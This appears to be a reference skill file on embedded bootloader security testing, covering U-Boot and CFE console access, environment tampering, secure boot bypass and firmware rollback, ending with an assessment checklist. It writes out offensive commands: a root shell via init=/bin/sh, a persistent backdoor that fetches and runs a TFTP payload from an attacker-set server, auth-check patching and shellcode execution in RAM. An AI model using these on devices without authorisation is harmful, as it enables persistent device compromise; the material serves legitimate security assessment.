| name | bootloader-security |
| description | U-Boot and embedded bootloader security analysis — environment variable attacks, secure boot bypass, boot sequence exploitation, and firmware integrity verification |
Bootloader Security Analysis
Bootloader Identification
Common Embedded Bootloaders
| Bootloader | Detection Strings | Typical Targets |
|---|
| U-Boot | U-Boot, autoboot, Hit any key to stop | Routers, NAS, cameras, set-top boxes |
| CFE (Broadcom) | CFE>, Broadcom CFE | Broadcom-based routers (Netgear, Linksys, ASUS) |
| RedBoot | RedBoot>, eCos RedBoot | Older embedded Linux devices |
| Barebox | barebox, barebox> | Industrial embedded systems |
| GRUB | GNU GRUB, grub> | x86-based IoT gateways |
| LK (Little Kernel) | [LK], little kernel | Android-based IoT, Qualcomm devices |
| Coreboot | coreboot, SeaBIOS | Some x86 embedded platforms |
Extracting Bootloader from Firmware
binwalk -e firmware.bin
strings firmware.bin | grep -i "u-boot\|autoboot\|bootcmd\|bootargs"
binwalk -R '\x27\x05\x19\x56' firmware.bin
binwalk -R 'bootcmd=' firmware.bin
binwalk -R 'bootdelay=' firmware.bin
U-Boot Attack Surface
1. Environment Variable Manipulation
Accessing U-Boot Console
# During boot, press key to interrupt autoboot (space, Enter, Ctrl+C, or any key)
# Common bootdelay values: 1-5 seconds
# Some devices use secret key combination or password
# If bootdelay=0 or bootdelay=-1 (no abort):
# Try UART break signal before power-on
# Or flood UART with characters during power-on
Critical Environment Variables
| Variable | Purpose | Attack Potential |
|---|
bootcmd | Commands executed at boot | Arbitrary command execution |
bootargs | Linux kernel command line | Root shell via init=/bin/sh |
serverip | TFTP server address | Point to attacker-controlled server |
ipaddr | Device IP | Redirect network traffic |
bootfile | TFTP boot filename | Load malicious kernel/rootfs |
ethaddr | MAC address | Network impersonation |
verify | Image verification flag | Set to n to skip verification |
Boot Argument Injection
# Get root shell by modifying kernel boot arguments
setenv bootargs "console=ttyS0,115200 root=/dev/mtdblock2 rootfstype=squashfs init=/bin/sh"
boot
# Alternative: append single-user mode
setenv bootargs "${bootargs} single"
boot
# Load custom kernel via TFTP
setenv serverip 192.168.1.100
setenv bootfile malicious_kernel.uImage
tftpboot ${loadaddr} ${bootfile}
bootm ${loadaddr}
Persistent Backdoor via Environment
# Save modified environment to flash (persists across reboots)
setenv bootcmd "run backdoor; run original_boot"
setenv backdoor "tftpboot 0x80000000 192.168.1.100:payload.bin; go 0x80000000"
saveenv
2. Memory Access Attacks
Reading Sensitive Data
# Dump flash contents to find keys, passwords, configs
md.b 0x9F000000 0x1000 # Read 4KB from SPI flash
md.b 0xBFC00000 0x100 # Read from boot ROM area
# Search for certificate/key material
# Dump large region and search offline:
md.b 0x9F000000 0x100000 # Dump 1MB
# Read RAM for runtime secrets
md.b 0x80000000 0x10000 # Dump 64KB of RAM
Writing to Memory
# Overwrite authentication check in RAM
mw.b <auth_check_addr> 0x00 0x04 # NOP out auth check
# Or patch return value:
mw.l <auth_func_ret> 0x00000001 # Force return TRUE
# Write shellcode to RAM and execute
mw.l 0x80100000 <shellcode_word1>
mw.l 0x80100004 <shellcode_word2>
go 0x80100000
3. Secure Boot Bypass Techniques
Common Secure Boot Implementations
Verification Chain:
ROM Bootloader (immutable) → SPL/TPL → U-Boot → Kernel → Rootfs
Bypass Opportunities:
1. ROM bootloader has no verification → entire chain compromised
2. SPL verifies U-Boot, but U-Boot doesn't verify kernel
3. Signed kernel, but rootfs is not verified
4. Verification uses weak algorithm (SHA1, MD5, CRC32)
5. Public key stored in writable flash → key replacement attack
FIT Image Verification Bypass
# U-Boot FIT (Flattened Image Tree) signed images
# Check if CONFIG_FIT_SIGNATURE is enabled
strings u-boot.bin | grep -i "fit_signature\|rsa_verify\|sha256"
# Bypass strategies:
# 1. If only "required" images are verified, add unverified components
# 2. Downgrade attack: load older firmware without signature requirement
# 3. Configuration node manipulation in FIT image DTB
# 4. Hash collision on weak algorithms (SHA1)
Hardware-Assisted Bypass
# Voltage glitching during signature verification
# Target: branch instruction after RSA/ECDSA verify call
# Tools: ChipWhisperer, custom FPGA glitcher
# Timing: monitor UART output for verification start marker
# JTAG/SWD bypass (if debug port accessible)
# Connect debugger → break at verification function → patch return value
# OpenOCD: set register to force success
4. Firmware Update Mechanism Analysis
Update Integrity Checks
strings firmware.bin | grep -iE "md5|sha1|sha256|sha512|rsa|ecdsa|verify|signature|crc"
Anti-Rollback Analysis
# Check for version/monotonic counter enforcement
# Look for eFuse or OTP-based version counters
strings firmware.bin | grep -iE "anti.rollback\|version.check\|fuse\|otp\|monotonic"
# If no anti-rollback:
# 1. Obtain older firmware version (vendor website, Wayback Machine)
# 2. Flash older version that may have known vulnerabilities
# 3. Or flash older version that doesn't enforce signature verification
CFE (Broadcom) Bootloader Analysis
# CFE console access
# Default: UART at 115200 baud
# Some devices: Ctrl+C during boot
# CFE commands for exploitation:
flash -noheader <addr>:<size> flash0.boot # Overwrite bootloader
flash -noheader <addr>:<size> flash0.trx # Overwrite firmware
dm <addr> <size> # Dump memory
sm <addr> <value> # Set memory
go <addr> # Execute code
ifconfig eth0 -addr=<ip> -mask=<mask> # Configure network
Binary Analysis in Ghidra
Locating Bootloader Security Functions
from ghidra.program.model.symbol import SymbolType
keywords = ["verify", "rsa", "sha256", "signature", "secure_boot",
"fit_check", "image_check", "authenticate"]
listing = currentProgram.getListing()
sm = currentProgram.getSymbolTable()
for symbol in sm.getAllSymbols(True):
name = symbol.getName().lower()
if any(kw in name for kw in keywords):
print(f"Security function: {symbol.getName()} @ {symbol.getAddress()}")
Identifying Authentication Bypass Points
keywords = ["password", "passwd", "login", "auth", "check_pass", "validate"]
for func in currentProgram.getFunctionManager().getFunctions(True):
name = func.getName().lower()
if any(kw in name for kw in keywords):
print(f"Auth function: {func.getName()} @ {func.getEntryPoint()}")
Security Assessment Checklist
- Console Access — Can bootloader console be reached via UART/serial?
- Boot Delay — Is there an autoboot delay allowing interruption?
- Password Protection — Is the bootloader console password-protected?
- Environment Lock — Are env variables read-only or locked?
- Secure Boot — Is the boot chain cryptographically verified?
- Update Verification — Are firmware updates signed and verified?
- Anti-Rollback — Is firmware downgrade prevented?
- Debug Interfaces — Are JTAG/SWD disabled in production?
- Memory Access — Can sensitive memory regions be read from console?
- Network Boot — Can TFTP/NFS boot be triggered from console?